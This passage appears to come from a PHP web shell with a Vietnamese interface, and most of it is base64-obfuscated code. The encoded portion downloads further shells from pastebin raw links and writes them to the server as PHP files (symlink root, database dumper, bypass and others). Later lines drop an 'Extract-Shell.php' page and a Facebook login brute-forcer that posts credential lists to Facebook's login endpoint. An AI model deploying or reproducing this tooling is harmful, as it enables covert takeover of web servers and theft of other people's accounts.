TkR0dVp6d3ZabTl1ZEQ0Z0xpNGdUM0JsYmlCVGFHVnNiQ0JiSUR4aElHaHlaV1k5SWxkdmNtUndjbVZ6Y3kxblpYUkRiMjVtYVdjdWNHaHdJaUIwWVhKblpYUTlJbDlpYkdGdWF5SStWaVlqTWpJME8yOGdVMmhsYkd3OEwyRStJRjA4TDJadmJuUStQQzl3UGljN0NuMEthV1lvSkY5UVQxTlVXeWQ2YVhBblhTa2dld29rZW1sd0lDQTlJQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5NXdhSEEvYVQxR1FqbHpla1ozTUNjN0NpUm5aWFF6TVNBOUlDUnphQ2drZW1sd0tUc0tKRzVoYlRNeElEMGdabTl3Wlc0b0oxcHBjQzV3YUhBbkxDQW5keWNwT3dwbWQzSnBkR1VvSkc1aGJUTXhMQ1JuWlhRek1TazdDbVpqYkc5elpTZ2tibUZ0TXpFcE93cGxZMmh2SUNjOGNDQmhiR2xuYmowaVkyVnVkR1Z5SWlCa2FYSTlJbXgwY2lJK1BHWnZiblFnWm1GalpUMGlWR0ZvYjIxaElpQnphWHBsUFNJeUlqNVFZV05ySUhOb1pXeHNJRlJvSmlNeU1qUTdibWdnUXlZak1qUTBPMjVuUEM5bWIyNTBQaUF1TGlCUGNHVnVJRk5vWld4c0lGc2dQR0VnYUhKbFpqMGlXbWx3TG5Cb2NDSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaVBsWW1Jekl5TkR0dklGTm9aV3hzUEM5aFBpQmRQQzltYjI1MFBqd3ZjRDRuT3dwOUNtbG1LQ1JmVUU5VFZGc25UMUJJU3lkZEtTQjdDaVJQVUVoTElDQTlJQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5NXdhSEEvYVQxNlIxUktjbGxLVnljN0NpUm5aWFF6TWlBOUlDUnphQ2drVDFCSVN5azdDaVJ1WVcwek1pQTlJR1p2Y0dWdUtDZFBVRWhMTG5Cb2NDY3NJQ2QzSnlrN0NtWjNjbWwwWlNna2JtRnRNeklzSkdkbGRETXlLVHNLWm1Oc2IzTmxLQ1J1WVcwek1pazdDbVZqYUc4Z0p6eHdJR0ZzYVdkdVBTSmpaVzUwWlhJaUlHUnBjajBpYkhSeUlqNDhabTl1ZENCbVlXTmxQU0pVWVdodmJXRWlJSE5wZW1VOUlqSWlQbEJoWTJzZ2MyaGxiR3dnVkdnbUl6SXlORHR1YUNCREppTXlORFE3Ym1jOEwyWnZiblErSUM0dUlFOXdaVzRnVTJobGJHd2dXeUE4WVNCb2NtVm1QU0pQVUVoTExuQm9jQ0lnZEdGeVoyVjBQU0pmWW14aGJtc2lQbFltSXpJeU5EdHZJRk5vWld4c1BDOWhQaUJkUEM5bWIyNTBQand2Y0Q0bk93cDlDbWxtS0NSZlVFOVRWRnNuU1RRM0oxMHBJSHNLSkVrME55QWdQU0FuYUhSMGNEb3ZMM0JoYzNSbFltbHVMbU52YlM5eVlYY3VjR2h3UDJrOU1qRm5PVEpHTUc0bk93b2taMlYwTXpNZ1BTQWtjMmdvSkVrME55azdDaVJ1WVcwek15QTlJR1p2Y0dWdUtDZEpMVFEzTG5Cb2NDY3NJQ2QzSnlrN0NtWjNjbWwwWlNna2JtRnRNek1zSkdkbGRETXpLVHNLWm1Oc2IzTmxLQ1J1WVcwek15azdDbVZqYUc4Z0p6eHdJR0ZzYVdkdVBTSmpaVzUwWlhJaUlHUnBjajBpYkhSeUlqNDhabTl1ZENCbVlXTmxQU0pVWVdodmJXRWlJSE5wZW1VOUlqSWlQbEJoWTJzZ2MyaGxiR3dnVkdnbUl6SXlORHR1YUNCREppTXlORFE3Ym1jOEwyWnZiblErSUM0dUlFOXdaVzRnVTJobGJHd2dXeUE4WVNCb2NtVm1QU0pKTFRRM0xuQm9jQ0lnZEdGeVoyVjBQU0pmWW14aGJtc2lQbFltSXpJeU5EdHZJRk5vWld4c1BDOWhQaUJkUEM5bWIyNTBQand2Y0Q0bk93cDlDbWxtS0NSZlVFOVRWRnNuYzJobGJHeEROVEFuWFNrZ2V3b2tjMmhsYkd4RE5UQWdJRDBnSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMbkJvY0Q5cFBWZEJjMDFhYVdoM0p6c0tKR2RsZERNMElEMGdKSE5vS0NSemFHVnNiRU0xTUNrN0NpUnVZVzB6TkNBOUlHWnZjR1Z1S0NkRE5UQXVjR2h3Snl3Z0ozY25LVHNLWm5keWFYUmxLQ1J1WVcwek5Dd2taMlYwTXpRcE93cG1ZMnh2YzJVb0pHNWhiVE0wS1RzS1pXTm9ieUFuUEhBZ1lXeHBaMjQ5SW1ObGJuUmxjaUlnWkdseVBTSnNkSElpUGp4bWIyNTBJR1poWTJVOUlsUmhhRzl0WVNJZ2MybDZaVDBpTWlJK1VHRmpheUJ6YUdWc2JDQlVhQ1lqTWpJME8yNW9JRU1tSXpJME5EdHVaend2Wm05dWRENGdMaTRnVDNCbGJpQlRhR1ZzYkNCYklEeGhJR2h5WldZOUlrTTFNQzV3YUhBaUlIUmhjbWRsZEQwaVgySnNZVzVySWo1V0ppTXlNalE3YnlCVGFHVnNiRHd2WVQ0Z1hUd3ZabTl1ZEQ0OEwzQStKenNLZlFwcFppZ2tYMUJQVTFSYkozaDRlQ2RkS1NCN0NpUjRlSGdnSUQwZ0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTG5Cb2NEOXBQV1IyWWxwM2VrdzNKenNLSkdkbGRETTFJRDBnSkhOb0tDUjRlSGdwT3dva2JtRnRNelVnUFNCbWIzQmxiaWduZUhoNExuQm9jQ2NzSUNkM0p5azdDbVozY21sMFpTZ2tibUZ0TXpVc0pHZGxkRE0xS1RzS1ptTnNiM05sS0NSdVlXMHpOU2s3Q21WamFHOGdKenh3SUdGc2FXZHVQU0pqWlc1MFpYSWlJR1JwY2owaWJIUnlJajQ4Wm05dWRDQm1ZV05sUFNKVVlXaHZiV0VpSUhOcGVtVTlJaklpUGxCaFkyc2djMmhsYkd3Z1ZHZ21Jekl5TkR0dWFDQkRKaU15TkRRN2JtYzhMMlp2Ym5RK0lDNHVJRTl3Wlc0Z1UyaGxiR3dnV3lBOFlTQm9jbVZtUFNKNGVIZ3VjR2h3SWlCMFlYSm5aWFE5SWw5aWJHRnVheUkrVmlZak1qSTBPMjhnVTJobGJHdzhMMkUrSUYwOEwyWnZiblErUEM5d1BpYzdDbjBLQ21sbUtDUmZVRTlUVkZzblNHRnVaRk1uWFNrZ2V3b2tTR0Z1WkZNZ0lEMGdKMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0xuQm9jRDlwUFVod1VVNW1TRUpsSnpzS0pHZGxkRE0xSUQwZ0pITm9LQ1JJWVc1a1V5azdDaVJ1WVcwek5TQTlJR1p2Y0dWdUtDZG9ZVzVrVXk1d2FIQW5MQ0FuZHljcE93cG1kM0pwZEdVb0pHNWhiVE0xTENSblpYUXpOU2s3Q21aamJHOXpaU2drYm1GdE16VXBPd3BsWTJodklDYzhjQ0JoYkdsbmJqMGlZMlZ1ZEdWeUlpQmthWEk5SW14MGNpSStQR1p2Ym5RZ1ptRmpaVDBpVkdGb2IyMWhJaUJ6YVhwbFBTSXlJajVRWVdOcklITm9aV3hzSUZSb0ppTXlNalE3Ym1nZ1F5WWpNalEwTzI1blBDOW1iMjUwUGlBdUxpQlBjR1Z1SUZOb1pXeHNJRnNnUEdFZ2FISmxaajBpYUdGdVpGTXVjR2h3SWlCMFlYSm5aWFE5SWw5aWJHRnVheUkrVmlZak1qSTBPMjhnVTJobGJHdzhMMkUrSUYwOEwyWnZiblErUEM5d1BpYzdDbjBLYVdZb0pGOVFUMU5VV3lkamIyMXRZVzVrY0dod0oxMHBJSHNLSkdOdmJXMWhibVJ3YUhBZ0lEMGdKMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0xuQm9jRDlwUFU1MWEyZ3pTekIxSnpzS0pHZGxkRE0xSUQwZ0pITm9LQ1JqYjIxdFlXNWtjR2h3S1RzS0pHNWhiVE0xSUQwZ1ptOXdaVzRvSjJOdmJXMWhibVF1Y0dod0p5d2dKM2NuS1RzS1puZHlhWFJsS0NSdVlXMHpOU3drWjJWME16VXBPd3BtWTJ4dmMyVW9KRzVoYlRNMUtUc0taV05vYnlBblBIQWdZV3hwWjI0OUltTmxiblJsY2lJZ1pHbHlQU0pzZEhJaVBqeG1iMjUwSUdaaFkyVTlJbFJoYUc5dFlTSWdjMmw2WlQwaU1pSStVR0ZqYXlCemFHVnNiQ0JVYUNZak1qSTBPMjVvSUVNbUl6STBORHR1Wnp3dlptOXVkRDRnTGk0Z1QzQmxiaUJUYUdWc2JDQmJJRHhoSUdoeVpXWTlJbU52YlcxaGJtUXVjR2h3SWlCMFlYSm5aWFE5SWw5aWJHRnVheUkrVmlZak1qSTBPMjhnVTJobGJHdzhMMkUrSUYwOEwyWnZiblErUEM5d1BpYzdDbjBLYVdZb0pGOVFUMU5VV3lkemVXMXliMjkwSjEwcElIc0tKSE41YlhKdmIzUWdJRDBnSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMbkJvY0Q5cFBWVlZjVFJpWW10cUp6c0tKR2RsZERNMUlEMGdKSE5vS0NSemVXMXliMjkwS1RzS0pHNWhiVE0xSUQwZ1ptOXdaVzRvSjNONWJYSnZiM1F1Y0dod0p5d2dKM2NuS1RzS1puZHlhWFJsS0NSdVlXMHpOU3drWjJWME16VXBPd3BtWTJ4dmMyVW9KRzVoYlRNMUtUc0taV05vYnlBblBIQWdZV3hwWjI0OUltTmxiblJsY2lJZ1pHbHlQU0pzZEhJaVBqeG1iMjUwSUdaaFkyVTlJbFJoYUc5dFlTSWdjMmw2WlQwaU1pSStVR0ZqYXlCemFHVnNiQ0JVYUNZak1qSTBPMjVvSUVNbUl6STBORHR1Wnp3dlptOXVkRDRnTGk0Z1QzQmxiaUJUYUdWc2JDQmJJRHhoSUdoeVpXWTlJbk41YlhKdmIzUXVjR2h3SWlCMFlYSm5aWFE5SWw5aWJHRnVheUkrVmlZak1qSTBPMjhnVTJobGJHdzhMMkUrSUYwOEwyWnZiblErUEM5d1BpYzdDbjBLYVdZb0pGOVFUMU5VV3lka2RXMXdaWEluWFNrZ2V3b2taSFZ0Y0dWeUlDQTlJQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5NXdhSEEvYVQwNFdUaEhZVXhDZUNjN0NpUm5aWFF6TlNBOUlDUnphQ2drWkhWdGNHVnlLVHNLSkc1aGJUTTFJRDBnWm05d1pXNG9KMlIxYlhCbGNpNXdhSEFuTENBbmR5Y3BPd3BtZDNKcGRHVW9KRzVoYlRNMUxDUm5aWFF6TlNrN0NtWmpiRzl6WlNna2JtRnRNelVwT3dwbFkyaHZJQ2M4Y0NCaGJHbG5iajBpWTJWdWRHVnlJaUJrYVhJOUlteDBjaUkrUEdadmJuUWdabUZqWlQwaVZHRm9iMjFoSWlCemFYcGxQU0l5SWo1UVlXTnJJSE5vWld4c0lGUm9KaU15TWpRN2JtZ2dReVlqTWpRME8yNW5QQzltYjI1MFBpQXVMaUJQY0dWdUlGTm9aV3hzSUZzZ1BHRWdhSEpsWmowaVpIVnRjR1Z5TG5Cb2NDSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaVBsWW1Jekl5TkR0dklGTm9aV3hzUEM5aFBpQmRQQzltYjI1MFBqd3ZjRDRuT3dwOUNtbG1LQ1JmVUU5VFZGc25hblZ0Y0NkZEtTQjdDaVJxZFcxd0lDQTlJQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5NXdhSEEvYVQwd05WTnBWbmRoV0NjN0NpUm5aWFF6TlNBOUlDUnphQ2drYW5WdGNDazdDaVJ1WVcwek5TQTlJR1p2Y0dWdUtDZHFkVzF3TG5Cb2NDY3NJQ2QzSnlrN0NtWjNjbWwwWlNna2JtRnRNelVzSkdkbGRETTFLVHNLWm1Oc2IzTmxLQ1J1WVcwek5TazdDbVZqYUc4Z0p6eHdJR0ZzYVdkdVBTSmpaVzUwWlhJaUlHUnBjajBpYkhSeUlqNDhabTl1ZENCbVlXTmxQU0pVWVdodmJXRWlJSE5wZW1VOUlqSWlQbEJoWTJzZ2MyaGxiR3dnVkdnbUl6SXlORHR1YUNCREppTXlORFE3Ym1jOEwyWnZiblErSUM0dUlFOXdaVzRnVTJobGJHd2dXeUE4WVNCb2NtVm1QU0pxZFcxd0xuQm9jQ0lnZEdGeVoyVjBQU0pmWW14aGJtc2lQbFltSXpJeU5EdHZJRk5vWld4c1BDOWhQaUJkUEM5bWIyNTBQand2Y0Q0bk93cDlDbWxtS0NSZlVFOVRWRnNuYkdWbFkyZ25YU2tnZXdva2JHVmxZMmdnSUQwZ0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTG5Cb2NEOXBQWGxhZVRoQ01XTmlKenNLSkdkbGRETTFJRDBnSkhOb0tDUnNaV1ZqYUNrN0NpUnVZVzB6TlNBOUlHWnZjR1Z1S0Nkc1pXVmphQzV3YUhBbkxDQW5keWNwT3dwbWQzSnBkR1VvSkc1aGJUTTFMQ1JuWlhRek5TazdDbVpqYkc5elpTZ2tibUZ0TXpVcE93cGxZMmh2SUNjOGNDQmhiR2xuYmowaVkyVnVkR1Z5SWlCa2FYSTlJbXgwY2lJK1BHWnZiblFnWm1GalpUMGlWR0ZvYjIxaElpQnphWHBsUFNJeUlqNVFZV05ySUhOb1pXeHNJRlJvSmlNeU1qUTdibWdnUXlZak1qUTBPMjVuUEM5bWIyNTBQaUF1TGlCUGNHVnVJRk5vWld4c0lGc2dQR0VnYUhKbFpqMGliR1ZsWTJndWNHaHdJaUIwWVhKblpYUTlJbDlpYkdGdWF5SStWaVlqTWpJME8yOGdVMmhsYkd3OEwyRStJRjA4TDJadmJuUStQQzl3UGljN0NuMEthV1lvSkY5UVQxTlVXeWRpZVhCaGMzTW5YU2tnZXdva1lubHdZWE56SUNBOUlDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk1d2FIQS9hVDAzY25OWWJXcHdVaWM3Q2lSblpYUXpOU0E5SUNSemFDZ2tZbmx3WVhOektUc0tKRzVoYlRNMUlEMGdabTl3Wlc0b0oySjVjR0Z6Y3k1d2FIQW5MQ0FuZHljcE93cG1kM0pwZEdVb0pHNWhiVE0xTENSblpYUXpOU2s3Q21aamJHOXpaU2drYm1GdE16VXBPd3BsWTJodklDYzhjQ0JoYkdsbmJqMGlZMlZ1ZEdWeUlpQmthWEk5SW14MGNpSStQR1p2Ym5RZ1ptRmpaVDBpVkdGb2IyMWhJaUJ6YVhwbFBTSXlJajVRWVdOcklITm9aV3hzSUZSb0ppTXlNalE3Ym1nZ1F5WWpNalEwTzI1blBDOW1iMjUwUGlBdUxpQlBjR1Z1SUZOb1pXeHNJRnNnUEdFZ2FISmxaajBpWW5sd1lYTnpMbkJvY0NJZ2RHRnlaMlYwUFNKZllteGhibXNpUGxZbUl6SXlORHR2SUZOb1pXeHNQQzloUGlCZFBDOW1iMjUwUGp3dmNENG5Pd3A5Q2o4K0NqeGliMlI1SUdKblkyOXNiM0k5WW14aFkyc0tZbUZqYTJkeWIzVnVaRDBpYUhSMGNITTZMeTkzZDNjdVkyeGxZWEpzZVhSaGVDNWpiMjB1WVhVdmQzQXRZMjl1ZEdWdWRDOTFjR3h2WVdSekx6SXdNVFF2TURVdlYyaHBkR1V0UW1GamEyZHliM1Z1WkMwME1DNXdibWNpZEdGaUxXbHVkR1Z5ZG1Gc09qTTFMalJ3ZENJK0NqeG1iM0p0SUcxbGRHaHZaRDBpVUU5VFZDSStDanhrYVhZZ2MzUjViR1U5SW1KaFkydG5jbTkxYm1RNk8ySnZjbVJsY2pveWNIZ2djMjlzYVdRZ0l6RkdSa1l3TUR0d1lXUmthVzVuT2pWd2VEdG1iMjUwT2pFMGNIZzdkR1Y0ZEMxaGJHbG5ianBqWlc1MFpYSTdabTl1ZEMxM1pXbG5hSFE2WW05c1pEc2lQZ284WWo1RmVIUnlZV04wSUVacGJHVTZQR0l2UGp4aWNpOCtUR2x1YXlCR2FXeGxJQzUwZUhRS1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW14cGJtdDBlSFFpSUhaaGJIVmxQU0pvZEhSd09pOHZabWxzWlM1MGVIUWlJSE4wZVd4bFBTSjNhV1IwYURvMU5TVWlPejRLUEdKeUx6NG1JekkzTWpzbUl6UXpNanNtSXpjNU1ERTdibWNnUkNZak56ZzFNVHR1SUZCaFkyc2dSbWxzWlNBNkNqeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNKa2RXOXVaMlJoYmlJZ2RtRnNkV1U5SWp3L0lHVmphRzhnWkdseWJtRnRaU2hmWDBaSlRFVmZYeWs3SUQ4K0lpQnpkSGxzWlQwaWQybGtkR2c2TXpVbElqcytQR0p5THo0S1ZDWWpNak0wTzI0Z1JtbHNaU0JESmlNM09EUTNPMjRnVkNZak56ZzBNVHR2SURvS1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW5SbGJtWnBiR1VpSUhaaGJIVmxQU0lpSUhOMGVXeGxQU0ozYVdSMGFEb3pOU1VpT3o0OFluSXZQZ284YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpUlhoMGNtRmpkQ0JHYVd4bElpQnVZVzFsUFNKbWFXeGxaMlYwSWo0OFluSStQQzlrYVhZK0Nqdy9jR2h3Q2lSblpYUnNhVzVySUQwZ0pGOVFUMU5VV3lkc2FXNXJkSGgwSjEwN0NpUjBaVzRnUFNBa1gxQlBVMVJiSjNSbGJtWnBiR1VuWFRzS0pIQmhkR2dnUFNBa1gxQlBVMVJiSjJSMWIyNW5aR0Z1SjEwN0NpUk5ZWEpwYjI0d01ERWdQU0FpV20xc2MxcFdPVzVhV0ZKbVdUSTVkV1JIVm5Wa1NFMDlJanNLSkUxaGNtbHZiaUE5SUdKaGMyVTJORjlrWldOdlpHVW9KRTFoY21sdmJqQXdNU2s3Q2lSMGRYbGxiaUE5SUNSTllYSnBiMjRvSkdkbGRHeHBibXNwT3dva2RtbGxkeUE5SUdadmNHVnVLQ0lrY0dGMGFDOGtkR1Z1SWl3Z0ozY25LVHNnQ21aM2NtbDBaU2drZG1sbGR5d2tkSFY1Wlc0cE93cG1ZMnh2YzJVb0pIWnBaWGNwT3dwcFppZ2taMlYwYkdsdWF5a2dleUFLWldOb2J5QWlQR05sYm5SbGNqNDhZajVRWVdOcklFWnBiR1VnVkdnbUl6SXlORHR1YUNCREppTXlORFE3Ym1jOEwySStQQzlqWlc1MFpYSStJanNLZlFvS1B6NEtQRDl3YUhBS0NRa2tZM1Z5YkY5dmJpQTlJRUJtZFc1amRHbHZibDlsZUdsemRITW9KMk4xY214ZmRtVnljMmx2YmljcE93b0pDU1J0ZVhOeGJGOXZiaUE5SUVCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjIxNWMzRnNYMk52Ym01bFkzUW5LVHNLQ1Fra2JYTnpjV3hmYjI0Z1BTQkFablZ1WTNScGIyNWZaWGhwYzNSektDZHRjM054YkY5amIyNXVaV04wSnlrN0Nna0pKSEJuWDI5dUlEMGdRR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25jR2RmWTI5dWJtVmpkQ2NwT3dvSkNTUnZjbUZmYjI0Z1BTQkFablZ1WTNScGIyNWZaWGhwYzNSektDZHZZMmxzYjJkdmJpY3BPd29LWldOb2J5QW9LQ1J6WVdabFgyMXZaR1VwUHlnaVUyRm1aVjl0YjJRNklEeGlQanhtYjI1MElHTnZiRzl5UFdkeVpXVnVQa0ltSXpjNE5UTTdkRHd2Wm05dWRENDhMMkkrSUMwZ0lpazZLQ0pUWVdabFgyMXZaRG9nUEdJK1BHWnZiblFnWTI5c2IzSTljbVZrUGxRbUl6YzROVFU3ZER3dlptOXVkRDQ4TDJJK0lDMGdJaWtwT3dwbFkyaHZJQ0pRYUdrbUl6SXpORHR1SUdJbUl6YzRORE03YmlCUVNGQTZJRHhpUGlJdVFIQm9jSFpsY25OcGIyNG9LUzRpUEM5aVBpQXRJQ0k3Q2drSlpXTm9ieUFpWTFWU1REb2dJaTRvS0NSamRYSnNYMjl1S1Q4b0lqeGlQanhtYjI1MElHTnZiRzl5UFdkeVpXVnVQa0ltSXpjNE5UTTdkRHd2Wm05dWRENDhMMkkrSUMwZ0lpazZLQ0k4WWo0OFptOXVkQ0JqYjJ4dmNqMXlaV1ErVkNZak56ZzFOVHQwUEM5bWIyNTBQand2WWo0Z0xTQWlLU2s3Q2drSlpXTm9ieUFpVFhsVFVVdzZJRHhpUGlJN0NpUnRlWE54YkY5dmJpQTlJRUJtZFc1amRHbHZibDlsZUdsemRITW9KMjE1YzNGc1gyTnZibTVsWTNRbktUc0thV1lvSkcxNWMzRnNYMjl1S1hzS1pXTm9ieUFpUEdadmJuUWdZMjlzYjNJOVozSmxaVzQrUWlZak56ZzFNenQwUEM5bWIyNTBQand2WWo0Z0xTQWlPeUI5SUdWc2MyVWdleUJsWTJodklDSThabTl1ZENCamIyeHZjajF5WldRK1ZDWWpOemcxTlR0MFBDOW1iMjUwUGp3dllqNGdMU0FpT3lCOUNtVmphRzhnSWsxVFUxRk1PaUE4WWo0aU93b2tiWE56Y1d4ZmIyNGdQU0JBWm5WdVkzUnBiMjVmWlhocGMzUnpLQ2R0YzNOeGJGOWpiMjV1WldOMEp5azdDbWxtS0NSdGMzTnhiRjl2YmlsN1pXTm9ieUFpUEdadmJuUWdZMjlzYjNJOVozSmxaVzQrUWlZak56ZzFNenQwUEM5bWIyNTBQand2WWo0Z0xTQWlPMzFsYkhObGUyVmphRzhnSWp4bWIyNTBJR052Ykc5eVBYSmxaRDVVSmlNM09EVTFPM1E4TDJadmJuUStQQzlpUGlBdElDSTdmUXBsWTJodklDSlFiM04wWjNKbFUxRk1PaUE4WWo0aU93b2tjR2RmYjI0Z1BTQkFablZ1WTNScGIyNWZaWGhwYzNSektDZHdaMTlqYjI1dVpXTjBKeWs3Q21sbUtDUndaMTl2YmlsN1pXTm9ieUFpUEdadmJuUWdZMjlzYjNJOVozSmxaVzQrUWlZak56ZzFNenQwUEM5bWIyNTBQand2WWo0Z0xTQWlPMzFsYkhObGUyVmphRzhnSWp4bWIyNTBJR052Ykc5eVBYSmxaRDVVSmlNM09EVTFPM1E4TDJadmJuUStQQzlpUGlBdElDSTdmUXBsWTJodklDSlBjbUZqYkdVNklEeGlQaUk3Q2lSdmNtRmZiMjRnUFNCQVpuVnVZM1JwYjI1ZlpYaHBjM1J6S0NkdlkybHNiMmR2YmljcE93cHBaaWdrYjNKaFgyOXVLWHRsWTJodklDSThabTl1ZENCamIyeHZjajFuY21WbGJqNUNKaU0zT0RVek8zUThMMlp2Ym5RK1BDOWlQaUk3ZldWc2MyVjdaV05vYnlBaVBHWnZiblFnWTI5c2IzSTljbVZrUGxRbUl6YzROVFU3ZER3dlptOXVkRDQ4TDJJK1BFSlNQaUk3ZlFvS1pXTm9ieUFpUkdsellXSnNaU0JtZFc1amRHbHZibk1nT2lBOFlqNGlPd3BwWmlnbkp6MDlLQ1JrWmoxQWFXNXBYMmRsZENnblpHbHpZV0pzWlY5bWRXNWpkR2x2Ym5NbktTa3BlMlZqYUc4Z0lqeG1iMjUwSUdOdmJHOXlQV2R5WldWdVBrdG9KaU15TkRRN2JtY2dZeVlqTWpRek96d3ZabTl1ZEQ0OEwySStQRUpTUGlJN2ZXVnNjMlY3WldOb2J5QWlQR1p2Ym5RZ1kyOXNiM0k5Y21Wa1BpUmtaand2Wm05dWRENDhMMkkrUEVKU1BpSTdmUW9LQ2drSlB6ND0iKSk7ID8+
  1457. ';
  1458.     $file       = fopen("Extract-Shell.php", "w+");
  1459.     $write      = fwrite($file, base64_decode($perltoolss));
  1460.     fclose($file);
  1461.     echo "<iframe src=Extract-Shell.php width=100% height=720px frameborder=0></iframe> ";
  1462. }
  1463.  
  1464.  
  1465. elseif ($action == 'brutefb') {
  1466.     $file       = fopen($dir . "Brute-FB.php", "w+");
  1467.     $perltoolss = 'PD9waHAKb2Jfc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwplY2hvICIKPGhlYWQ+CjxsaW5rIHJlbD0naWNvbicgdHlwZT0naW1hZ2UvaWNvJyBocmVmPSdodHRwOi8vbWVkaWEuc3RhdGVvZnEuY29tL3Bob3RvbG9ndWUvcGhvdG9zL2NhY2hlL2ZhY2Vib29rJTIwZmF2aWNvbl90aHVtYm5haWwucG5nJy8+Cjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRpdGxlPkZhY2Vib29rIEJydXRlIEZvcmNlIDIwMTQ8L3RpdGxlPjwvaGVhZD48c3R5bGU+CnRleHRhcmVhIHsKcmVzaXplOm5vbmU7CmNvbG9yOiAjMTk3NUZGIDsKYm9yZGVyOjFweCBzb2xpZCAjMTk3NUZGIDsKYm9yZGVyLWxlZnQ6IDRweCBzb2xpZCAjMTk3NUZGIDsKfQppbnB1dCB7CmNvbG9yOiAjIzMzQ0NGRjsKYm9yZGVyOjFweCBkb3R0ZWQgIzMzQ0NGRjsKfQo8L3N0eWxlPiI7CmVjaG8gIgo8Ym9keSB0ZXh0PScjRkZGRkZGJyBiYWNrZ3JvdW5kPSdodHRwczovL2VuY3J5cHRlZC10Ym4xLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NRYTlBWU5aX0dZdEFpN3UxbUoxMkNURHcwVFdtLTNOSEFoUmNJbThZNXNiQ1VZUU1ZZyc+CjxjZW50ZXI+QnJ1dGUgRmFjZWJvb2sgMjAxNCwgJiMyNzI7JiMyNTk7bmcgWHUmIzc4NDU7dCBOaWNrIEZhY2Vib29rICYjMjcyOyYjNzg3NTsgVGkmIzc4NzE7biBIJiMyMjQ7bmggQnJ1dGU8L2NlbnRlcj4KPHAgZGlyPSdsdHInIGFsaWduPSdjZW50ZXInPgo8dGV4dGFyZWEgY29scz0nMjInIGNsYXNzPSdhcmVhJyAgcm93cz0nMTQnIG5hbWU9J3VzZXJuYW1lJyBwbGFjZWhvbGRlcj0nTmgmIzc4NTM7cCBUJiMyMjQ7aSBLaG8mIzc4NDM7bic+PC90ZXh0YXJlYT4gCjx0ZXh0YXJlYSBjb2xzPScyMicgY2xhc3M9J2FyZWEnICByb3dzPScxNCcgbmFtZT0ncGFzc3dvcmQnIHBsYWNlaG9sZGVyPSdOaCYjNzg1MztwIE0mIzc4NTM7dCBNaCYjNzg0OTt1Jz48L3RleHRhcmVhPjxici8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3NjYW4nIHZhbHVlPSdTdGFydCBCcnV0ZUZvcmNlJz48YnI+PC9wPiI7CmlmKGlzc2V0KCRfUE9TVFsnc2NhbiddKSl7CiNUbyBQdXQgUHJveHkgU09DS1MgVjUKLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFksICJwcm94eTpwb3J0Iik7ICAgICAgICAgIAovL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QUk9YWVRZUEUsIENVUkxQUk9YWV9TT0NLUzUpOwpmdW5jdGlvbiBicnV0ZSgkdXNlciwkcGFzcyl7CiRjaCA9IGN1cmxfaW5pdCgpOyAgICAgIApjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cHM6Ly9tLmZhY2Vib29rLmNvbS9sb2dpbi5waHA/bG9naW5fYXR0ZW1wdD0xIik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJlbWFpbD17JHVzZXJ9JnBhc3M9eyRwYXNzfSIpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiQ2hyb21lLzM2LjAuMTk4NS4xMjUiKTsgCiRsb2dpbiA9IGN1cmxfZXhlYygkY2gpOwovL3ByaW50X3IoJGxvZ2luKTsKJGNoZWNrID0gKGVyZWdpKCdjbGFzcz0icyB0IGkgdSInLCRsb2dpbikpID8gdHJ1ZTpmYWxzZTsKaWYoJGNoZWNrID09IHRydWUpewplY2hvICI8cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+PGZvbnQgZmFjZT0nQXJpYWwgQmxhY2snIHNpemU9JzInPktoJiMyNDQ7bmcgViYjMjI0O28gJiMyNzI7JiM0MzI7JiM3OTA3O2N8fCBUJiMyMjQ7aSBLaG8mIzc4NDM7biA6IDxmb250IGNvbG9yPSdyZWQnPiR1c2VyPC9mb250PiZuYnNwOyAgTSYjNzg1Mzt0IEtoJiM3ODQ5O3UgOiA8Zm9udCBjb2xvcj0ncmVkJz4kcGFzczwvZm9udD48L2ZvbnQ+PC9wPiI7Cn1lbHNlewplY2hvICI8cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+PGZvbnQgZmFjZT0nQXJpYWwgQmxhY2snIHNpemU9JzInPkMmIzIxMTsgVGgmIzc4NzU7IFYmIzIyNDtvICYjMjcyOyYjNDMyOyYj